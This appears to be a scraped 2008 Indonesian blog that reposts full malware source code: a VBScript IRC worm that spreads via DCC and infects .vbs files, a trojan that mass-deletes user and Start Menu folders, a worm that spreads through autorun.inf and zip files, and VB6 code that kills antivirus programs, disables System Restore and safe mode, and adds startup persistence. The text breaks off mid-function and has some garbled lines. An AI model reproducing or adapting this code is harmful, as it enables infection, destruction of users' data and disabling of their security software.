'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
On Error Resume Next
Const TheCrystal = 5238
Const ForReading = 1, ForWriting = 2
Const XWindowsFolder = 0

Dim FSO, InfMarker, MyCode, MyBaby
Dim Crystal, MyCrystal, V, VFile
Dim FoldersToGet(3), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Crystal = Wscript.ScriptFullName

Set MyBaby = FSO.CreateTextFile("c:\WINDOWS\events3.dll", True)
MyBaby.WriteLine "[Levels]"
MyBaby.WriteLine "Enabled=1"
MyBaby.WriteLine "Count=6"
MyBaby.WriteLine "Level1=000-Unknowns"
MyBaby.WriteLine "000-UnknownsEnabled=1"
MyBaby.WriteLine "Level2=100-Level 100"
MyBaby.WriteLine "100-Level 100Enabled=1"
MyBaby.WriteLine "Level3=200-Level 200"
MyBaby.WriteLine "200-Level 200Enabled=1"
MyBaby.WriteLine "Level4=300-Level 300"
MyBaby.WriteLine "300-Level 300Enabled=1"
MyBaby.WriteLine "Level5=400-Level 400"
MyBaby.WriteLine "400-Level 400Enabled=1"
MyBaby.WriteLine "Level6=500-Level 500"
MyBaby.WriteLine "500-Level 500Enabled=1"
MyBaby.WriteLine ""
MyBaby.WriteLine "[000-Unknowns]"
MyBaby.WriteLine "User1=*!*@*"
MyBaby.WriteLine "UserCount=1"
MyBaby.WriteLine "Event1=; VBS/pIRCH98/32.Crystal.c"
MyBaby.WriteLine "Event2=; by -KD- [Metaphase VX Team] & [NoMercyVirusTeam]"
MyBaby.WriteLine "Event3=ON JOIN:#:/notice $nick Tell me that file isnt the cutest Wink"
MyBaby.WriteLine "Event4=ON JOIN:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event5=@ON BAN:*:#:/mode # -o+b $me $banmask | /kick # $nick Dont ban me!!"
MyBaby.WriteLine "Event6=ON PART:#:/notice $nick Case I didnt send it yet this is the cutest thing Ive seen Wink"
MyBaby.WriteLine "Event7=ON PART:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event8=VERSION:/notice $nick \-1 VBS/pIRCH98/32.Crystal.c : Crystal.a by -KD- I'm Infected!!! \-1:-"
MyBaby.WriteLine "Event9=ON TOPIC:#:/topic # Crystal rocks! | /notice $nick Crystal!!!"
MyBaby.WriteLine "Event10=ON ACTION:*hump*:#:/notice $nick Get off my leg!!"
MyBaby.WriteLine "Event11=ON ACTION:*hump*:#:/kick # $nick Get off my leg I said!!"
MyBaby.WriteLine "Event12=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event13=ON TEXT:*sex*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event14=ON TEXT:*f**k*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event15=ON TEXT:*damn*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event16=ON TEXT:*satan*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event17=ON TEXT:*dick*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event18=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event19=ON TEXT:*hell*:#:/ignore # $nick"
MyBaby.WriteLine "Event20=ON TEXT:*virus*:#:/ignore # $nick"
MyBaby.WriteLine "Event21=ON TEXT:*worm*:#:/ignore # $nick"
MyBaby.WriteLine "Event22=ON TEXT:*trojan*:#:/ignore # $nick"
MyBaby.WriteLine "Event23=ON TEXT:*Crystal*:#:/ignore # $nick"
MyBaby.WriteLine "Event24=ON TEXT:*baby*:*:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event25=PING:/notice $nick Oh god baby do it again! Wink"
MyBaby.WriteLine "Event26=ON QUIT:/msg :#vir: VBS/pIRCH98/32.Crystal.c by -KD-! gotta love it!"
MyBaby.WriteLine "Event27=ON KICKED:*:#: /msg $nick What the hell? | /join # | /mode # -o+b $nick $banmask"
MyBaby.WriteLine "EventCount=27"
MyBaby.WriteLine ""
MyBaby.WriteLine "[100-Level 100]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[200-Level 200]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[300-Level 300]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[400-Level 400]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[500-Level 500]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.Close
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch98\events.ini"
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch32\events.ini"
FSO.CopyFile Crystal, "c:\WINDOWS\Crystal2.vbs"
FSO.CopyFile Crystal, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "The screams fill the room" & Chr(13) & Chr(10) & "Alone I drop and kneel", 4096 , "Crystal"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"

Set MyCrystal = FSO.OpenTextFile(Crystal, ForReading)
MyCode = MyCrystal.Read(TheCrystal)
MyCrystal.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Crystal" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'---> Exit[marq=right]

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

SOURCE Trojan VBS.DeLFiles.A

set getf=createobject("scripting.filesystemobject")
getf.deletefile ("C:\Documents and Settings\Administrator\Desktop\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Favorites\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Desktop")
getf.deletefile ("C:\Documents and Settings\Administrator\Local Settings\Application Data\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Startup")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Accessibility\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Accessibility")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Entertainment\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Entertainment")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories")



getf.deletefile ("C:\Documents and Settings\All Users\Desktop\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Favorites\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Desktop")
getf.deletefile ("C:\Documents and Settings\All Users\Local Settings\Application Data\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Accessibility\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Accessibility")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Entertainment\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Entertainment")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Communications\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Communications")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Administrative Tools\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Administrative Tools")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\System Tools\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\System Tools")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Games\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Games")





Wscript.echo "Pc-to ti beshe do tuk!"
Wscript.echo "Spoko we,buzikam se....moje i da izkara do kraq na denq Wink"
dim msg
msg = MsgBox("Iska6 da znae6 kvo stava?!",vbAbort+vbInformation,"MsgBox test")
If msg = vbYes then
Wscript.echo "E, sam 6e razbere6"
end if
If msg = vbNo then
Wscript.echo "Za mnogo znae6t li se misli6?! Ae da te vidim kakvo 6e narpai6 sea..."
end if
If msg = vbCancel then
Wscript.echo "'Cancel' tuka nqma Very Happy"
end if

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

infeksi file exe versi laen

' VBS.GrepoZipTsunami.a
' My first VBS virus. Padding itself into a zip file!
' Don't worry, it won't do harm to you.. I promise.
' SealNight5, Asmaradana
' MVS, USM, Malaysia.
' 2005-01-01

Set Fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
Set tsunami = Fso.GetFile(WScript.ScriptFullName)
tsunami.Copy (Fso.GetSpecialFolder(1) & "\PleaseRead1st.vbs")
Set Drives = Fso.Drives

For Each Drive In Drives
On Error Resume Next
If Drive.isready Then
Fso.Deletefile Drive & "tsunami.bat"
End If
Next

ret = Chr(13)
tsu1 = "It is God's avenge!" & ret
tsu2 = "Those people did bad on earth..." & ret
tsu3 = "God has promised, that He will give lesson," & ret
tsu4 = "and this is a promise that the End of Day" & ret
tsu5 = "is just not too far ahead!" & ret & ret
tsu6 = "Pray, do good and may God bless you!" & ret & ret
tsu7 = "Tell and share this message with everyone who has faith in God."

tsunamimsg = "C:\windows\tsunami.txt"
Set msg = Fso.Createtextfile(tsunamimsg, True)
msg.writeline tsu1 & tsu2 & tsu3 & tsu4 & tsu5 & tsu6 & tsu7
msg.Close
ws.run tsunamimsg

For Each Drive In Drives
If Drive.isready Then
On Error Resume Next
tsunami.Copy(drive&"\Tsunami - A must read - God's avenge.vbs")
tsunami.Copy(drive&"\PleaseRead1st.vbs")

tsunamirun = Drive & "autorun.inf"
Set autorun = Fso.Createtextfile(tsunamirun, True)
autorun.writeline "PleaseRead1st.vbs"
autorun.Close

SearchWinZip Drive & "\"
End If
Next

Function SearchWinZip(path)
On Error Resume Next
winzipexist = 1

Set word = CreateObject("word.application")
If word.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "") = "" Then
winzipexist = 0
End If

If winzipexist = 1 Then

Set folder = Fso.getfolder(path)
Set Files = folder.Files

For Each file In Files

If Fso.GetExtensionName(file.path) = "zip" Then
Set ws = CreateObject("wscript.shell")
Set word = CreateObject("word.application")
appword = word.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "")
ws.run appword & " -a -r " & file.path & Chr(32) & " " & Fso.GetSpecialFolder(1) & "\PleaseRead1st.vbs"
End If
Next

Set Subfolders = folder.Subfolders

For Each Subfolder In Subfolders
SearchWinZip Subfolder.path
Next

End If
End Function

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

infeksi file exe

Attribute VB_Name = "BacaFile"
'/######################################################\
'# #
'# w32/Grogotix.A #
'# Create By : dr.Pluto (pluto_devil@Phreaker.net) #
'# Create date : 19/11/2006 #
'# Comment : "Maju terus Hackers Indonesia" #
'# #
'\######################################################/
'Module name: BacaFile.bas
'

Option Explicit
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const INVALID_HANDLE_VALUE = -1
Private Const MAX_PATH = 260

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Private Declare Function FindClose Lib "kernel32" _
(ByVal hFindFile As Long) As Long

Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" (ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FileTimeToSystemTime Lib "kernel32" _
(lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long

Private Declare Function GetFileAttributes Lib "kernel32" _
Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long

Private Declare Function GetShortPathName Lib "kernel32" _
Alias "GetShortPathNameA" (ByVal lpszLongPath As String, _
ByVal lpszShortPath As String, ByVal cchBuffer As Long) _
As Long

Private Declare Sub GetSystemTime Lib "kernel32" _
(lpSystemTime As SYSTEMTIME)

Public Function FileAttributes(ByVal strFilename As String) _
As String

Dim lngFileAttributes As Long
Dim strFileAttributeFlags As String
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileAttributes = GetFileAttributes(strFilename)
If lngFileAttributes And FILE_ATTRIBUTE_DIRECTORY Then
strFileAttributeFlags = strFileAttributeFlags + "D"
End If
If lngFileAttributes And FILE_ATTRIBUTE_ARCHIVE Then
strFileAttributeFlags = strFileAttributeFlags + "A"
End If
If lngFileAttributes And FILE_ATTRIBUTE_SYSTEM Then
strFileAttributeFlags = strFileAttributeFlags + "S"
End If
If lngFileAttributes And FILE_ATTRIBUTE_HIDDEN Then
strFileAttributeFlags = strFileAttributeFlags + "H"
End If
If lngFileAttributes And FILE_ATTRIBUTE_READONLY Then
strFileAttributeFlags = strFileAttributeFlags + "R"
End If
FileAttributes = strFileAttributeFlags
End Function

Public Function FileCreated(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftCreationTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
FileCreated = datFileCreationDate
Call FindClose(lngFileHandle)
End Function

Public Function FileLastAccessed(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftLastAccessTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
FileLastAccessed = datFileCreationDate
Call FindClose(lngFileHandle)
End Function

Public Function FileLastModified(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftLastWriteTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
FileLastModified = datFileCreationDate
Call FindClose(lngFileHandle)
End Function

Public Function ReadFromFile(ByVal strFilename As String) As String
Dim lngFileHandle As Long
Dim strFileContents As String
If FileExists(strFilename) Then
If Not InStr(FileAttributes(strFilename), "D") Then
lngFileHandle = FreeFile
Open strFilename For Binary As #lngFileHandle
strFileContents = Space(FileLen(strFilename))
Get #lngFileHandle, , strFileContents
Close #lngFileHandle
End If
End If
ReadFromFile = strFileContents
End Function

Public Function ShortPath(ByVal strFilename As String) As String
Dim strBuffer As String * 255
Dim lngReturnCode As Long
lngReturnCode = GetShortPathName(strFilename, strBuffer, 255)
ShortPath = Left$(strBuffer, lngReturnCode)
End Function

Private Function AdjustTimeForLocalSettings() As Long
Dim datSystemDate As Date
Dim udtSystemTime As SYSTEMTIME
Call GetSystemTime(udtSystemTime)

datSystemDate = DateSerial(udtSystemTime.wYear, _
udtSystemTime.wMonth, udtSystemTime.wDay) _
+ TimeSerial(udtSystemTime.wHour, udtSystemTime.wMinute, _
udtSystemTime.wSecond)

AdjustTimeForLocalSettings = _
DateDiff("h", datSystemDate, Now)
End Function

Function FileExists(ByVal NamaFile As String) As Boolean
Dim lngRetVal As Long
On Error Resume Next

lngRetVal = Len(Dir$(NamaFile))

If Err Or lngRetVal = 0 Then
FileExists = False
Else
FileExists = True
End If

End Function

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

Form Y4D0Y666

Private Sub bunuh_Timer()
'proteksi
tutup "avg"
tutup "anti"
tutup "ANSAV"
tutup "avast"
tutup "asm"
tutup "avira"
tutup "cillin"
tutup "clean"
tutup "CONFIRM FILE DELETE"
tutup "CONFIRM MULTIPLE FILE DELETE"
tutup "compact"
tutup "CRC"
tutup "debug"
tutup "detect"
tutup "NOD"
tutup "Gasak!!!"
tutup "hijack"
tutup "INTERNET OPTIONS"
tutup "kill"
tutup "KILLBOX"
tutup "k1ckth3w0rm"
tutup "kaspersky"
tutup "mcafee"
tutup "NVC"
tutup "norton"
tutup "regis"
tutup "Norman"
tutup "Ogav"
tutup "panda"
tutup "POCKET KILLBOX"
tutup "proc"
tutup "recovery"
tutup "remover"
tutup "rest"
tutup "scan"
tutup "system"
tutup "System Mechanic"
tutup "Setup"
tutup "SHOW/KILL RUNNING PROCESS"
tutup "SYSTEM RESTORE"
tutup "superdat"
tutup "S m a d A V"
tutup "SmadAV"
tutup "task"
tutup "TKM"
tutup "termin"
tutup "trojan"
tutup "tune"
tutup "update"
tutup "virus"
tutup "vaksin"
tutup "WAV"
tutup "wash"
tutup "walk"
tutup "w32"



'selamatkan moral bangsa
kick "17tahun"
kick "adult"
kick "anal"
kick "bangbros"
kick "bangbus"
kick "Bugil"
kick "CrystalClear"
kick "Doggy Style"
kick "amit-amit"
kick "hentai"
kick "hottie"
kick "kiara kener"
kick "Kama Sutra"
kick "lalatx"
kick "miyabi"
kick "masturb"
kick "naughty"
kick "nude"
kick "naked"
kick "nana1_chunk"
kick "pussy"
kick "porn"
kick "sex"
kick "scandal"
kick "spy cam"
kick "SQ Evolution"
kick "Three Some"
kick "webcam show"
kick "xxx"





Call ganda
Call Racuni_Registry
Call Unjuk_Gigi
Call proteksi_folder



End Sub

Private Sub Form_Load()
Y4D0Y666.Hide
App.TaskVisible = False

If App.PrevInstance Then End


'ganda di folder windows dengan nama dafault.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & "\" & "default.bat", 0

'ganda di system32 dengan nama login.exe dan autoexec.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "login.exe", 0

CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "autoexec.bat", 0

'ganda di mydocument dengan nama Kerispatih On Da Stage.exe
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "KerisPatih On Da Stage.exe", 0



Call ganda
Call Racuni_Registry
Call proteksi_folder
Call Kill_antivirus



End Sub

Private Function Racuni_Registry()

On Error Resume Next


'Disable System Restore
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "LimitSystemRestoreCheckpointing", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1

'Ubah tipe file *.exe jadi Winamp media file
CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "Winamp media file"

'Manipulasi Internet Explorer
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Window Title", "..:: YaDoY666 [WuZ HeRe] ::.."
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Start Page", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "My Pictures\About.htm"

'auto run virus
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "User-Login", GetSystemPath & "login.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Norton", GetWindowsPath & "default.bat"

'Disable Folder Options
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1

'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0

'Atur registry agar tidak bisa masuk safe mode
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmio.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmload.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vgasave.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmiot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpcdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpwd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdpipe.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdtcp.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vgasave.sys"

End Function

Private Function ganda()

Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String

sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "I Love You.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "cewe_bandel.exe", 0

End If
Next

End Function

Private Sub Form_Unload(Cancel As Integer)
Shell GetSystemPath & "\" & "login.exe"
End Sub

Private Sub proteksi_folder()
On Error Resume Next
SetAttr GetWindowsPath, vbNormal
SetAttr GetWindowsPath & "\" & "desktop.ini", vbNormal
Kill GetWindowsPath & "\" & "desktop.ini"
Open GetWindowsPath & "\" & "desktop.ini" For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "CLSID={C96401CC-0E17-11D3-885B-00C04F72C717}"
Close #1

SetAttr GetWindowsPath & "\" & "desktop.ini", vbHidden
SetAttr GetWindowsPath, vbSystem

End Sub

Private Sub Unjuk_Gigi()
On Error Resume Next
Open GetSpecialfolder(CSIDL_PERSONAL) & "\" & "My Pictures\About.htm" For Output As #1
Print #1, "IP-WORM a.k.a CADAZ.A

IP-WORM a.k.a CADAZ.A



-- Stop Pornography & Our Stupidity --

"
Print #1, "
Respect For Our Girl Who has Pregnanting
And lose our Future


Caused By Pornographic





[-- Akan kubuat menderita otak kalian yang kotor --]

"
Close #1
End Sub

Sub Kill_antivirus()
On Error Resume Next

'bunuh antivirus Norman
If Folder_Exist("C:\Norman") = True Then
prog_AntiVir = Array( _
"C:\Norman\Bin", _
"C:\Norman\Download", _
"C:\Norman\Nse\Bin", _
"C:\Norman\Nvc\Bin", _
"C:\Norman\Nvc\Config", _
"C:\Norman\Qtn\Bin" _
)
SetAttr "C:\Norman", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Norman"
End If

'bunuh antivirus Norman kalo ada di dalam direcktory Program Files
If Folder_Exist("C:\Program Files\Norman") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Norman\Bin", _
"C:\Program Files\Norman\Download", _
"C:\Program Files\Norman\Nse\Bin", _
"C:\Program Files\Norman\Nvc\Bin", _
"C:\Program Files\Norman\Nvc\Config", _
"C:\Program Files\Norman\Qtn\Bin" _
)
SetAttr "C:\Program Files\Norman", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Norman"
End If

'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\McAfee") = True Then
prog_AntiVir = Array( _
"C:\Program Files\McAfee\McAfee Firewall", _
"C:\Program Files\McAfee\McAfee VirusScan", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\DatBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\EngineBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Res00", _
"C:\Program Files\McAfee\VirusScan Wireless" _
)
SetAttr "C:\Program Files\McAfee", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\McAfee"
End If

